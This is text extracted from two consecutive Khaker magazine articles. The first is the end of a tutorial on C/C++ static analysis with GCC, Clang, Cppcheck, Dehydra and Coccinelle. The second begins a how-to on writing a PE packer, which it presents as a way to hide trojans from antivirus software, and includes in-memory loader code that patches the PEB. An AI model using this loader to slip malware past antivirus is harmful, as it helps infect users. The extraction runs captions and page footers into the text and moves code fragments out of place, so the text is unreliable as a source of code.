содержат легко исправляемые ошибки.Сюда относятся различные ошибки форматной строки (-Wformat):void Wformat() {double x = 1;// Неправильный тип второго аргументаprintf("%d\n", x);char s[] = "%d\n";// Опасно использовать неконстантную форматную строкуprintf(s, x);}Ошибки выхода за границу массива (-Warray-bounds, работаеттолько вместе с -O2, причем исключительно в простейших случаях):int test_bounds[10];int Warray_bounds() {return test_bounds[10];}А также ошибки использования неинициализированной переменной(-Wuninitialized) и многие другие.-Wextra включает дополнительный набор предупреждений.В него входят, например, предупреждения об ошибках, возникающихпри сравнении значений знаковых и беззнаковых типов и неявномпреобразовании знакового в беззнаковый (-Wsign-compare):088ХАКЕР 02 /157/ 2012


Ищем ошибки в программах на C/C++int Wsign_compare() {int x = -1;unsigned int y = 3;if (x > y)return 1; // выполнится эта веткаelsereturn 0;}Многие полезные предупреждения не входят в -Wall или -Wextra,и их нужно подключать отдельно:• -Wconversion предупреждает о приведении типов, при которомзначение может поменяться (например, преобразование doubleв int или int в unsigned int).• -Wcast_qual предупреждает о таком приведении типа для указателя,при котором специфическая информация о типе теряется,например:void Wcast_qual() {const char* s = "constant string";((char*)s)[0] = 'n';}В итоге для проверки программ на C я остановился на следующемнаборе опций:-O2 -Wall -Wextra -Wformat=2 -Winit-self -Warray-bounds-Wdiv-by-zero -Wfloat-equal -Wundef -Wshadow -Wcast-qual-Wconversion -Wempty-body -Waggregate-return-Wunreachable-codeНа странице bit.ly/uEU4VQ собраны опции, специфичные дляC++. Рассмотрим несколько наиболее интересных:• -Weffc++ предупреждает о нарушении ряда рекомендацийиз книг Скотта Мейерса «Effective C++» и «More Effective C++».Например, к ним относятся предупреждения о виртуальныхдеструкторах для базовых классов (эти предупреждения можновключить отдельно, как -Wnon-virtual-dtor), а также об определениикопирующего конструктора и оператора присваивания дляклассов с членами-указателями.• -W-old-style-cast предупреждает о приведении типов в стилеC (через скобки). В С++, как ты знаешь, принято использоватьdynamic_cast, static_cast, reinterpret_cast или const_cast.В итоге для проверки программ на С++ я добавил следующие опции:-Wctor-dtor-privacy -Weffc++ -Wold-style-cast-Woverloaded-virtualВ GCC есть расширение, которое позволяет задавать дополнительныеатрибуты для функций, переменных и типов (bit.ly/uD9w0B).Благодаря этим атрибутам компилятор может эффективнее оптимизироватьи проверять код. Рассмотрим несколько примеров.Можно пометить функцию (а также переменную или тип)атрибутом deprecated. Тогда при использовании этой функциикомпилятор выдаст соответствующие предупреждение. Синтаксисимеет следующий вид:компилятор проверит, являются ли первые два аргумента во всехвызовах my_memcpy ненулевыми. Следует отметить, что он выдаетпредупреждение только в том случае, если параметр функциинепосредственно представляет собой NULL. Следующий код ужене вызовет нареканий (хотя хотелось бы):int* dest = NULL;int* src = NULL;my_memcpy(dest, src, 10);DEHYDRAНачиная с версии 4.5, GCC поддерживает API для написанияплагинов, которые работают с внутренним представлением кода.На странице bit.ly/vZpq7F приведен список существующих плагинов.Для нас наиболее интересен плагин Dehydra, предназначенныйдля статического анализа кода на C++. Dehydra, используемый дляпроверки продуктов Mozilla, по сути, предоставляет простой способвклиниться в процесс компиляции С++. Для этого нужно заполнитьнабор функций (хендлеров) на JavaScipt, которые будут вызыватьсяпо мере компиляции. Dehydra предоставляет три основных хендлера:• process_type(type) — вызывается для каждого определения типа,в качестве параметра type передается полная информация о типе.• process_function(decl, body) — вызывается для каждогоопределения функции (decl описывает тип функции и её параметры,body представляет собой массив описаний инструкций,составляющих тело функции).• process_decl(decl) — вызывается при определении глобальнойпеременной, функции или шаблона.Рассмотрим на примерах работу с Dehydra. Допустим, мы хотимпостроить граф вызовов функций в нашей программе, другимисловами, хотим понять, какие функции может вызывать каждаяфункция. Для этого напишем простой JS-скрипт callgraph.js:function print_all_fcalls(varobjs) {for each (let obj in varobjs) {if (obj.isFcall)print(" " + obj.name)if (obj.assign) // right side of assignprint_all_fcalls(obj.assign)if (obj.arguments) // arguments of fcallprint_all_fcalls(obj.arguments)}}function process_function(decl, body) {print(decl.name + ":")for each (let b in body) print_all_fcalls(b.statements)}После обработки очередной функции компилятор каждый разбудет вызывать process_function, в которой мы печатаем имя функции,а затем рекурсивно печатаем все вызовы других функций.Скрипт имеет ряд недостатков (например, если какая-нибудь функ-int sqr(int x) __attribute__ ((deprecated));Другой полезный атрибут — nonnull. Он требует, чтобы определённыепараметры функции были ненулевыми. Например, приобъявленииextern void *my_memcpy (void *dest, const void *src, size_t len)__attribute__((nonnull (1, 2)));Использование scan-build и scan-viewХАКЕР 02 /157/ 2012089


КОДИНГОтчет, созданный scan-buildция вызывает другую функцию несколько раз, то будут напечатанывсе вызовы), но для ознакомительных целей сойдет.Проверим работу скрипта на файле workandsolve.cc:int work(int data);int solve(int data);int work(int data) {int res = solve(data);return res;}int solve(int data) {int res = work(data);return res;}int main() {solve(10);return 0;}Запускаем Dehydra:g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg-gcc_\dehydra-script=callgraph.js workandsolve.cc -o /dev/nullПолучаем на выходе:work(int):solve(int)solve(int):work(int)main():solve(int)work(int)Полное описание функций-хендлеров и их параметров, а такжепримеры использования можно найти на странице проекта: mzl.la/DWbf4.Dehydra «из коробки» умеет достаточно мало. Она в основномпредназначена для написания собственных процедур проверки.В репозитории mozilla-central (bit.ly/vJEl1B) лежит несколько готовыхскриптов, использовавшихся для проверки кода программ от Mozilla,но они не очень интересные, так как требуют дополнительной аннотациикода. Например, скрипт final.js проверяет, нет ли наследникову класса, помеченного пользовательским атрибутом final.В общем, это очень интересный инструмент, но он требует дополнительногопрограммирования.Поисковая строка DXRCLANG STATIC ANALYZERClang — это компилятор C/C++/Objective-C, который являются частьюпроекта LLVM(llvm.org). В Сlang встроен статический анализатор, длязапуска которого нужно передать утилите clang (или clang++) опцию--analyze. На его сайте (bit.ly/11xRuQ) опубликован список проверок,которые выполняются в ходе анализа. Проверки разделены на несколькогрупп: core, deadcode, osx, unix. Примерно половина приходитсяна core — сюда входят проверки на наличие базовых ошибок, вомногом схожие с предупреждениями в GCC:• деление на ноль;• разыменование нулевого указателя;• использование неинициализированных переменных в различныхситуациях;• проверки, специфичные для Objective-C.Другая большая группа — osx, где собраны проверки для Mac OS X.Вообще, видно, что именно эта среда является целевой для разработчиковclang static analyzer. Рассмотрим работу clang analyzer на примере.Пусть у нас есть код clantest.c:#include int div_by_zero() {int x = 0;int y = 5 / x;return y;}int null_dereference() {int x = 0;int* p = NULL;if (x > 0)p = &x;return *p;}int main() {return 0;}Компилируем и одновременно проверяем код:clang --analyze clangtest.c -o clangtestПолучаем на выходе:clangtest.c:5:13: warning: Division by zeroint y = 5 / x;^090ХАКЕР 02 /157/ 2012


Ищем ошибки в программах на C/C++clangtest.c:15:10: warning: Dereference of null pointer...return *p;^~2 warnings generated.Если заменить «x > 0» на «x >= 0» в функции null_dereference, товторое предупреждение, что приятно, исчезнет.Вместе с clang поставляется удобная утилита scan-build, котораяпозволяет проводить статический анализ всего проекта вовремя его сборки. Этой утилите нужно передать команду, котораяначинает процесс сборки проекта. Она заменит все вызовыкомпилятора вызовами со статическим анализатором. Утилитане выполняет сложный анализ процесса сборки, а просто заменяетпеременные окружения CC и CXX своим анализатором, что несколькоограничивает применение утилиты.Для рассмотренного в качестве примера clangtest.c можносделать такой Makefile:clangtest : clangtest.c$(CC) -o clangtest clangtest.cТеперь можно запустить scan-build make. Будет создан отчет,который можно просмотреть с помощью утилиты scan-view.На основе Clang создано ещё несколько интересных проектов,например проект DXR, который представляет собой интеллектуальныйбраузер исходного кода. DXR позволяет удобно искатьразличные конструкции в коде. Например, с его помощью можнонайти все функции, которые вызывают заданную функцию, или всетипы, которые являются потомками заданного типа. Насколько японял, раньше DXR работал на основе Dehydra. Как настроить DXRдля своего проекта, описано на странице mzl.la/tEyXCL.CPPCHECKCppcheck — это специализированная программа для поиска ошибокв коде на C++. Cppcheck работает с кодом как с последовательностьюстрок, особо не вдаваясь в их смысл. Сначала он всяческиупрощает код и приводит его к виду последовательности токенов,разделенных пробелами. После этого он ищет типичные ошибкис помощью регулярных выражений и набора эвристических правил,написанных на C++.Вот так выглядит простейшие правило для поиска ошибокделения на нуль:cppcheck --rule="/ 0"То же самое правило на C++:void CheckOther::divisionByZero() {// Loop through all tokensfor (const Token *tok = _tokenizer->tokens();tok; tok = tok->next()) {// check if there is a division by zeroif (Token::Match(tok, "/ 0")) {// report errordivisionByZeroError(tok);}}}Для Cppcheck уже написано огромное количество правил.На странице проекта перечислены типы детектируемых ошибок:• различные сценарии утечки памяти и других ресурсов;• использование устаревших функций;• неправильное использование STL и Boost;• наличие неиспользуемых или неинициализированных переменных;• разыменование нулевого указателя;• неправильное использование классов;• и т. д.Cppcheck имеет как консольный, так и графический интерфейс.Пользоваться и тем и другим одинаково просто — достаточноуказать директорию, которую нужно проверить. Разберёмпример с утечкой памяти: пусть она выделяется в конструкторе,но не освобождается в деструкторе.class Newbie {public:Newbie() {resource = new int[256];}private:int* resource;};int main() {Newbie noob;return 0;}Успешное обнаружение утечки в этой программе с помощьюCppcheck проиллюстрировано на скрине на следующем развороте.!Страница bit.ly/s6RQoH содержит внушительный список известныхи не очень проектов, в которых с помощью Cppcheck удалосьобнаружить баги. Что интересно, в основном это баги, найденныев коде на чистом C. Подавляющее большинство из них связанос утечкой памяти или какого-либо другого ресурса.COCCINELLECoccinellе (произносится как [кОксэнэл]) — это инструмент дляавтоматического преобразования С-кода. Преобразования описываютсяв виде семантического патча на языке SmPL (SemanticPatch Language). По сути, такой патч — это набор правил для заменыодних конструкций языка C другими. Изначально coccinelleразрабатывался для решения следующей задачи. Представь, чтоу нас есть библиотека и клиентский код, который эту библиотекуиспользует. Как нужно изменить клиентский код при измененииинтерфейса библиотеки? Coccinelle позволяет записать необходимыеизменения в виде компактного семантического патча. Потомэтот патч можно наложить на клиентский код, чтобы получитьего актуальную версию. Так как coccinelle «понимает» С, то этотинструмент можно использовать для поиска определённых шаблоновв коде. Нас интересуют шаблоны, потенциально содержащиеошибку. Для того чтобы понять, как искать шаблоны, рассмотримструктуру семантического патча.Патч состоит из набора правил следующего вида:@[имя параметры]@объявление метапеременных@@описание преобразованийКаждое правило начинается с заголовка, заключённого в двазначка @. Заголовок может быть пустым или содержать имя правилаи какие-либо параметры для него (например, список другихправил, от выполнения которых оно зависит). За ним следуетраздел объявления метапеременных. Каждая метапеременнаяпредставляет собой типизированный шаблон для сопоставленияс конструкциями в C. Далее идёт основной раздел, в которомуказывается, какие конструкции нужно найти и на что их следуетзаменить (можно просто искать определенные конструкции, не заменяяих). Рассмотрим несколько примеров.Первый пример, касающийся так называемой проблемы«!x & y», очень популярен в статьях и презентациях разработчиковХАКЕР 02 /157/ 2012 091


КОДИНГint flags = UGLY_FLAG;- if (!flags & UGLY_FLAG)+ if (!(flags & UGLY_FLAG))return 1;elsereturn 0;График эволюции ошибок в исходниках Linux, полученный с помощью Herodotoscoccinelle. Предположим, у нас есть переменная flags, котораяхранит набор битовых флажков. Для проверки того, все ли флажкиустановлены, обычно пишут:!(flags & UGLY_FLAG)Часто скобки забывают ставить, в результате чего получаетсяследующий код:!flags & UGLY_FLAGПри этом !flags — это либо нуль, либо единица, то есть, скореевсего, не то, что мы хотели. Семантический патч, который исправляеттакой код, выглядит следующим образом:notand.cocci@notand@expression E;constant C;@@- !E & C+ !(E & C)Здесь мы определяем правило, которое называется notand. Мыговорим, что у нас есть переменная E, которая может быть сопоставленапроизвольному выражению, и переменная C, которая может бытьсопоставлена константе. Потом идёт код, задающий само преобразование,то есть добавляющий скобки во все выражения вида «!E & C».Для теста используем такой код:notand.c#define UGLY_FLAG = 0x2;int main() {int flags = UGLY_FLAG;if (!flags & UGLY_FLAG)return 1;elsereturn 0;}Coccinelle также предоставляет утилиту spatch, которая применяетсемантический патч к набору C-файлов. В случае еслиправило совпадает с реальным кодом на C, spatch на выдает традиционныйпострочный diff, устанавливающий преобразование.В нашем случае spatch нужно запускать так:spatch -sp_file notand.cocci notand.cНа выходе получаем:HANDLING: notand.cdiff =--- notand.c+++ /tmp/cocci-output-3029-af66fa-notand.c@@ -2,7 +2,7 @@int main() {Опция -dir утилиты spatch предназначена для рекурсивной проверкивсех C-файлов в заданной директории.Оказывается, ошибка «!x & y» встречается довольно часто.На странице bit.ly/d1qgI6 собраны исправления, сделанныес помощью coccinelle в исходных кодах Linux. Так вот, 20 из этихисправлений связаны как раз с ошибкой «!x & y»! В качествепримера приведем один из отрывков кода, где она содержится(bit.ly/rVQQ9Z):--- a/drivers/serial/m32r_sio.c+++ b/drivers/serial/m32r_sio.c@@ -421,7 +421,7 @@ static void transmit_chars(struct uart_sio_port *up)- while (!serial_in(up, UART_LSR) & UART_LSR_THRE);+ while (!(serial_in(up, UART_LSR) & UART_LSR_THRE));} while (--count > 0);Ещё одна достаточно популярная ошибка в коде Linux связанас тем, что функции memset вместо размера структуры передаетсяразмер указателя на эту структуру. Патч для нахождения и исправлениятакой ошибки выглядит следующим образом:@@type T;T *x;expression E;@@memset(x, E, sizeof(+ *x))Здесь мы описываем, что у нас есть указатель x на тип T и произвольноевыражение E. Далее мы ищем все вызовы memset,где в качестве третьего параметра выступает размер указателя,и добавляем *, чтобы разыменовать указатель и получить размер T.Результат применения семантического патча к коду Linux определённойверсии (bit.ly/rsLIlg):--- a/drivers/staging/wlan-ng/prism2fw.c+++ b/drivers/staging/wlan-ng/prism2fw.c@@ -439,7 +439,7 @@ void free_chunks(imgchunk_t *fchunk,unsigned int *nfchunks)}}*nfchunks = 0;- memset(fchunk, 0, sizeof(fchunk));+ memset(fchunk, 0, sizeof(*fchunk));}Перейдем к другим возможностям языка SmPL и напишемпатч, который будет в первом приближении (очень грубом)отыскивать ошибки утечки памяти. Будем отслеживать такуюситуацию. Пусть функция типа malloc выделяет память, котораясохраняется в переменной-указателе. Дальше идет стандартнаяпроверка, что указатель не равен нулю (память успешно выделена).Потом идет какой-нибудь хитрый код, который реализуетлогику, не связанную с нашим указателем. Этот код можетописывать разные процедуры проверки, приводящие к выходуиз функции. Память при этом освободить забывают, в результате092ХАКЕР 02 /157/ 2012


Ищем ошибки в программах на C/C++чего получается утечка. В коде Linux насчитывалось 13 ошибоктакого типа (bit.ly/d1qgI6). Патч, устраняющий ошибку утечкипамяти:@leak@type T;T* x;statement S;identifier a=~».*alloc$»;@@* x = a(...);if (x == NULL) S... when != x* return ...;В разделе описания переменных, кроме всего прочего, задаетсяпеременная a, которая успешно сопоставляется с любым идентификатором,оканчивающимся на alloc. Мы можем использоватьрегулярные выражения, чтобы конкретизировать вид конструкций,которые мы хотим найти.Разберём подробнее раздел, задающий преобразования кода.* x = a(...);Раньше мы использовали «+» и « », чтобы указать, какие элементынужно добавить или удалить. Символ «*» используется дляпоиска. Многоточие сопоставляется произвольному коду. Если коддолжен удовлетворять ряду ограничений, то следует воспользоватьсяключевым словом when:... when != xЗдесь мы говорим, что хотим любой код, в котором не содержитсяx (при этом вид x определяется ранее).После применения патча к тестовому коду получаем следующийdiff:diff =--- leak.c+++ /tmp/cocci-output-11639-4c40d5-leak.c@@ -2,12 +2,10 @@int main(int argc, char** argv) {char* param;- param = malloc(257);if (param == NULL) {return 1;}if (argc < 2) {- return 1;}// ... using paramfree(param);return 0;}Минусы здесь служат только для выделения участков кода, которыенас интересовали в патче (там мы отмечали их символом «*»).SmPL имеет много других интересных возможностей, например,позволяет задавать зависимости между правилами (применяйтакое-то правило, только если выполнено такое-то), обеспечиваетинтеграцию с Python и т. д. Более подробно о них можно узнатьна официальном сайте coccinelle (bit.ly/1Z3wXP).Также на основе coccinelle создано несколько других программ.• Coccicheck содержит набор готовых правил, которые ищут следующиепопулярные ошибки:• разыменование нулевого указателя;• сравнение указателя с нулем вместо NULL;Результат работы Cppcheck• sizeof(pointer);• !x & y;• утечки памяти;• неиспользуемые переменные.Достаточно натравить coccicheck на интересующий тебя проект,и он проверит его на вышеперечисленные ошибки (вернее,на шаблоны в коде, которые на них очень похожи). Coccicheckлежит в директории scripts/ проекта coccinelle.• Herodotos (bit.ly/vrmt8v) позволяет проследить эволюциюошибок в нескольких версиях программы. При этом он собираетинтересную статистику и может строить графики.• Coccigrep (bit.ly/qxM9nd) — это «семантический grep» для C. Онможет искать в программе заданные структуры или переменные(как и DXR).• Spdiff (bit.ly/rLhp7P) — это «семантический diff», то есть инструментдля автоматического выявления изменений в программе.Звучит очень круто, но работает он только в лабораторныхусловиях.Coccinelle переводится c французского как «божья коровка»(bug that eats another bugs). Документация на «коровку» довольнаразрозненная, поэтому, чтобы понять, как писать на SmPL, придетсяпройти небольшой квест. Но оно того стоит. В пользу этогоговорит хотя бы количество багов, найденных в коде Linux (судяпо bit.ly/d1qgI6, оно достигает нескольких сотен).ЗАКЛЮЧЕНИЕИтак, каковы общие рекомендации по поиску ошибок с помощьюинструментов для статического анализа? Первым делом проверьсвой код при максимальном уровне предупреждений компилятора(то есть указывай не только -Wall). По возможности лучше использоватьдля проверки несколько компиляторов (например, intel,clang). Далее всё зависит от языка. Если это C++, то выбор бесплатныхинструментов достаточно ограничен (С++ тяжело разбирать;вероятно, ситуацию улучшит возможность писать плагины дляGCC). Определенно стоит попробовать Сppcheck, который особеннохорошо находит утечки памяти. Для C++ также есть Dehydra, но длянее, скорее всего, придется писать проверки самостоятельно. Длячистого С ситуация получше. Есть отличный инструмент Coccinelle,есть Frama-C. Они умеют находить определенные типы утечекпамяти, выходов за границу и прочие ужасы. Однако для поисканетривиальных ошибок недостаточно просто натравить на код этиинструменты (как и большинство других продвинутых программдля статического анализа). Нужно либо писать свои проверки,либо специальным образом настраивать сам анализатор.С другой стороны, опыт статического анализа показывает,что наиболее часто встречаются именно тривиальные ошибки,которые успешно отлавливают инструменты статического анализа«из коробки». Поэтому проверить свой код статическим анализатором— это хорошая идея. zХАКЕР 02 /157/ 2012 093


КОДИНГPeter and the WolfHOW-TO:PE-пакерDVDИсходный код ибинарники к этойстатье ищи на нашемDVD.INFOПосле выполненияфункцииLoadExecutableв загрузчикенеплохо было быосвободить память,выделенную дляраспаковки, — онанам больше непригодится.РАЗРАБАТЫВАЕМСВОЙ УПАКОВЩИКИСПОЛНЯЕМЫХФАЙЛОВМы с Волком давно заметили, что разработкаPE-пакеров, крипторов и навесных защит —это почему-то удел немногих. Самого разногорода троянов в инете целая куча, а софтадля упаковки и скрытия от антивирусов котнаплакал. При том, что код-то там несложный,просто сорцов в паблике, от которых можнобыло бы отталкиваться при разработке своегостаффа, как-то не наблюдается. Мы решилиисправить эту досадную ситуацию. Сейчасмы расскажем, как написать свой несложныйупаковщик исполняемых файлов и научить егопаре дерзких приемов.авным-давном, когда Windows XP еще не было, в поискахинформации о пакерах мы с Волком забирались в самыеДдебри исходников тогда еще молодого UPX. Но то ли ацетилхолинау нас в мозгах синтезировалось меньше нужного, то лиUPX уже тогда был очень занудным — в общем, мы почти ничего изтех сорцов не извлекли. Мэтт Питрек, и тот помог больше. Сейчасс инфой значительно проще стало. Почти всё есть. Даже сорцывполне себе нормального банковского троя можно скачать (Zeus2.0.8.9, bit.ly/v3EiYP). Да чего уж там, сорцы винды уже давно впаблике (Windows 2000, bit.ly/rBZlCy).Об упаковщиках информация тоже есть, но в основном исследовательская,непосредственно разработки касающаяся не стой стороны, с которой нам бы хотелось. Отличным примером томуявляется статья «Об упаковщиках в последний раз» (bit.ly/vRPCxZ,094ХАКЕР 02 /157/ 2012


HOW-TO: PE-пакерСоздание хедера с помощью bin2h можно автоматизироватьКусок кода парсера таблицы импортаbit.ly/tSUxT7) в двух частях, написанная небезызвестными гуруVolodya и NEOx.Мы, в свою очередь, постараемся максимально конкретно и последовательнодать информацию именно о разработке простейшего,но легко модифицируемого под любые свои нужды PE-пакера.АЛГОРИТМВот есть у нас, например, notepad.exe. В обычном своем 32-битномвиде он весит где-нибудь 60 Кб. Мы хотим его существенноуменьшить, сохранив при этом всю его функциональность.Какими должны быть наши действия? Ну, для начала мы нашфайлик от первого до последнего байтика прочтем в массив.Теперь мы можем делать с ним всё что угодно. А нам угодно егосжать. Берем его и отдаем какому-нибудь простому компрессору,в результате чего получаем массив уже не в 60 Кб, а, например,в 20 Кб. Это круто, но в сжатом виде образ нашего «Блокнота» —это просто набор байтов с высокой энтропией, это не экзешник, иего нельзя запустить, записав в файл и кликнув. Для массива сосжатым образом нам нужен носитель (загрузчик), очень маленькийисполняемый файл, к которому мы прицепим наш массив икоторый его разожмет и запустит. Пишем носитель, компилируем,а затем дописываем к нему в конец наш сжатый «Блокнот». Соответственно,если полученный в результате всех действий файл(размер которого немного больше, чем у просто сжатого «Блокнота»)запустить, он найдет в себе упакованный образ, распакует,распарсит его структуру и запустит.Как видишь, нам предстоит автоматизировать не слишкомсложный процесс. Нужно будет просто написать две программы,загрузчик и, собственно, упаковщик.Алгоритм работы упаковщика:• считать PE-файл в массив;• сжать массив каким-нибудь алгоритмом сжатия без потерь;• в соответствии с форматом PE дописать сжатый массив кшаблону-загрузчику.Алгоритм работы загрузчика:• найти в конце себя массив со сжатым PE-файлом;• разжать его;• распарсить заголовки PE-файла, расставить все права, выделитьпамять и в итоге запустить.Начнем разработку с загрузчика, так как именно им впоследствиибудет манипулировать упаковщик.ЗАГРУЗЧИКИтак, первое, что должен сделать наш загрузчик, — это найти всвоем теле адрес массива со сжатым образом PE-файла. Способыпоиска зависят от того, как упаковщик имплантировал этот массивв загрузчик.Например, если бы он просто добавил новую секцию с данными,то поиск выглядел бы так:Поиск сжатого образа в последней секции// Получаем адрес начала PE-заголовка загрузчика в памятиHMODULE hModule = GetModuleHandle(NULL);PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;PIMAGE_NT_HEADERS pNTHeaders =MakePtr(PIMAGE_NT_HEADERS,hModule,pDosHeader->e_lfanew);PIMAGE_SECTION_HEADER pSections =IMAGE_FIRST_SECTION(pNTHeaders);// Структура, описывающая последнюю секцию нашегозагрузчикаPIMAGE_SECTION_HEADER pLastSection =&pSections[pNTHeaders->FileHeader.NumberOfSections - 1];// Собственно, найденный образLPBYTE pbPackedImage = MakePtr(LPBYTE, hModule,pLastSection->VirtualAddress);// Его размерDWORD dwPackedImageSize = pLastSection->SizeOfRawData;Но, на наш с Волком взгляд, этим кодом в загрузчике можнопожертвовать. Вообще, всё, что может сделать упаковщик, пустьон и только он и делает. Адрес образа в адресном пространстве загрузчикаможно вычислить заранее, при упаковке, а потом простовписать в нужное место. Для этого оставляем в нашей программедве метки:LPBYTE pbPackedImage = (LPBYTE) 0xDEADBEEF;DWORD dwPackedImageSize = 0xBEEFCACE;Когда упаковщик будет имплантировать в загрузчик массив сосжатым образом, он пройдется сигнатурным поиском по телу загрузчикаи заменит 0xDEADBEEF на адрес массива, а 0xBEEFCACE— на его размер.Теперь, когда мы определились, как искать адрес, можно выбратьготовую реализацию алгоритма сжатия для использования внашем упаковщике.Неплохой вариант — использовать aplib (www.ibsensoftware.com), маленькую библиотеку с аккуратным и очень компактнымкодом, реализующую сжатие на базе алгоритма Лемпеля-Зива (LZ).И мы обязательно его выбрали бы в любой другой день, однакосегодня у нас настроение для еще более простого и компактногорешения — встроенных в Windows функций!ХАКЕР 02 /157/ 2012 095


КОДИНГНачиная с XP, наша любимая ntdll.dll начала экспортировать двепрекрасные функции:NTSTATUS RtlCompressBuffer(__in USHORT CompressionFormatAndEngine,__in PUCHAR UncompressedBuffer,__in ULONG UncompressedBufferSize,__out PUCHAR CompressedBuffer,__in ULONG CompressedBufferSize,__in ULONG UncompressedChunkSize,__out PULONG FinalCompressedSize,__in PVOID WorkSpace);NTSTATUS RtlDecompressBuffer(__in USHORT CompressionFormat,__out PUCHAR UncompressedBuffer,__in ULONG UncompressedBufferSize,__in PUCHAR CompressedBuffer,__in ULONG CompressedBufferSize,__out PULONG FinalUncompressedSize);Названия их говорят сами за себя — одна функция для компрессии,другая для декомпрессии. Конечно, если бы мы разрабатывалидействительно серьезный продукт, мы бы эти функциине трогали, ведь остались еще компьютеры и с Windows 2000, идаже с NT 4.0 ;), но для наших скромных целей RtlCompressBuffer\RtlDecompressBuffer вполне подойдут.В хедерах Platform SDK этих функций нет, статически мы ихприлинковать не сможем, поэтому придется воспользоватьсяGetProcAddress:Определение адреса функции для распаковки// Описываем переменную RtlDecompressBuffer типа«функция с шестью параметрами»DWORD (__stdcall *RtlDecompressBuffer)(ULONG,PVOID,ULONG,PVOID,ULONG,PULONG);// Присваиваем ей адрес RtlDecompressBuffer в ntdll.dll(FARPROC&)RtlDecompressBuffer = GetProcAddress(LoadLibrary("ntdll.dll"), "RtlDecompressBuffer" );Когда есть чем распаковать и есть что распаковать, можно уже,наконец, это сделать. Для этого мы выделим память с запасом (таккак не знаем объем распакованного файла) и запустим определеннуювыше функцию:DWORD dwImageSize = 0;DWORD dwImageTempSize = dwPackedImageSize * 15;// Выделяю память под распакованный образLPVOID pbImage = VirtualAlloc( NULL, dwImageTempSize,MEM_COMMIT, PAGE_READWRITE );ДЛЯ СЖАТИЯ УДОБНО БЫЛО БЫИСПОЛЬЗОВАТЬ МАЛЮСЕНЬКУЮБИБЛИОТЕКУ APLIB, НОМЫ ПОСТУПИЛИ ПРОЩЕ ИЗАЮЗАЛИ ВСТРОЕННЫЕ ВВИНДУ ФУНКЦИИ// РаспаковываюRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,pbImage, dwImageTempSize,pbPackedImage, dwPackedImageSize,&dwImageSize);Параметр COMPRESSION_FORMAT_LZNT1 означает, что мыхотим использовать классическое LZ-сжатие. Функция умеетсжимать и другими алгоритмами (bit.ly/sV9SVu), но нам хватит иэтого.Теперь у нас в памяти (pbImage) есть сырой образ PE-файла.Чтобы его запустить, нужно провести ряд манипуляций, которыеобычно делает нативный PE-загрузчик Windows. Мы сократимсписок до самых-самых необходимых:1. Разместить начало образа (хедеры) по адресу, указанномув поле Image Base опционального заголовка (OPTIONAL_HEADER).2. Разместить секции PE-файла по адресам, указанным в таблицесекций.3. Распарсить таблицу импорта, найти все адреса функций ивписать в соответствующие им ячейки.Естественно, стандартный PE-загрузчик выполняет целуюкучу других действий, и тем, что мы их отметаем, мы ограничиваемсовместимость нашего упаковщика с некоторымиPE-файлами. Но для абсолютного большинства хватит и этихдействий — можно не фиксить релоки, фиксапы и прочую редкуюи противную фигню.Если вдруг тебе захочется серьезной совместимости, ты илисам напишешь крутой PE-лоадер, или найдешь в Сети наиболееполную его реализацию — нам с Волком было лень писатьсвою, и мы воспользовались трудами gr8 из hellknights (bit.ly/tc65cB) выкинув из нее всё, что не поняли ;). Даже в урезанномвиде функция PE-лоадера — это строчек сто, не меньше, поэтомуздесь мы приведем только ее прототип (полный код лежит надиске):HMODULE LoadExecutable (LPBYTE image,DWORD* AddressOfEntryPoint)Она принимает указатель на наш распакованный образ ивозвращает дескриптор загруженного модуля (эквивалентадреса, по которому загружен PE-файл) и адрес точки входа (поуказателю AddressOfEntryPoint). Эта функция делает всё, чтобыправильно разместить образ в памяти, но не всё, чтобы можнобыло, наконец, передать туда управление.Дело в том, что система по-прежнему ничего не знает о загруженномнами модуле. Если мы прямо сейчас вызовем точкувхода, с которой сжатая программа начнет выполнение, то можетвозникнуть ряд проблем. Работать программа будет, но криво.Например, GetModuleHandle(NULL) будет возвращать ImageBase модуля загрузчика, а не распакованной программы. ФункцииFindResource и LoadResource будут рыться в нашем загрузчике,в котором никаких ресурсов нет и в помине. Могут быть иболее специфические глюки. Чтобы всего этого не происходило,нужно в системных структурах процесса по возможности вездеобновить информацию, заменив адреса модуля загрузчика наадреса загруженного модуля.В первую очередь нужно пофиксить PEB (Process EnviromentBlock), в котором указан старый Image Base. Адрес PEB оченьлегко получить, в юзермоде он всегда лежит по смещению 0x30 всегменте FS.PPEB Peb;__asm {push eaxmov eax, FS:[0x30];096ХАКЕР 02 /157/ 2012


HOW-TO: PE-пакерПроцесс отладки бажного файла в OllyDbgmov Peb, eaxpop eax}// hModule — адрес распакованного и загруженного нами PEфайлаPeb->ImageBaseAddress = hModule;Также не помешает пофиксить списки модулей в структуреLDR_DATA, на которую ссылается PEB. Всего там три списка:• InLoadOrderModuleList — cписок модулей в порядке загрузки;• InMemoryOrderModuleList — cписок модулей в порядке расположенияв памяти;• InInitializationOrderModuleList — cписок модулей в порядкеинициализации.Нам надо найти в каждом списке адрес нашего загрузчика и заменитьего на адрес загруженного модуля. Как-нибудь так:// Первым загружается наш модуль, так что// по всему списку проходить не обязательноPLDR_DATA_TABLE_ENTRY pLdrEntry = (PLDR_DATA_TABLE_ENTRY)(Peb->Ldr->ModuleListLoadOrder.Flink);pLdrEntry->DllBase = hModule;...Вот теперь можно смело вызывать точку входа загруженногомодуля. Он будет функционировать так, словно был вызвансамым обычным образом.LPVOID entry = (LPVOID)((DWORD)hModule + AddressOfEntryPoint);__asm call entry;AddressOfEntryPoint — это относительный виртуальныйадрес (RVA, Relative Virtual Address) точки входа, взятый изoptional header в функции LoadExecutable. Для получения абсолютногоадреса мы просто прибавили к RVA адрес базы (то естьсвежезагруженного модуля).УМЕНЬШЕНИЕ РАЗМЕРА ЗАГРУЗЧИКАЕсли наш загрузчик скомпилировать и собрать в VS 2010 сфлагами по умолчанию, то мы получим не двухкилобайтнуюпрограммку-носитель, а монстра размером более 10 Кб. Студиявстроит туда целую кучу лишнего, а нам надо всё это оттуда выгрести.Поэтому в свойствах компиляции проекта загрузчика (вкладкаС/C++) мы делаем следующее:• В разделе «Оптимизация» выбираем «Минимальный размер(/O1)», чтобы компилятор старался сделать все функции болеекомпактными.ХАКЕР 02 /157/ 2012 097


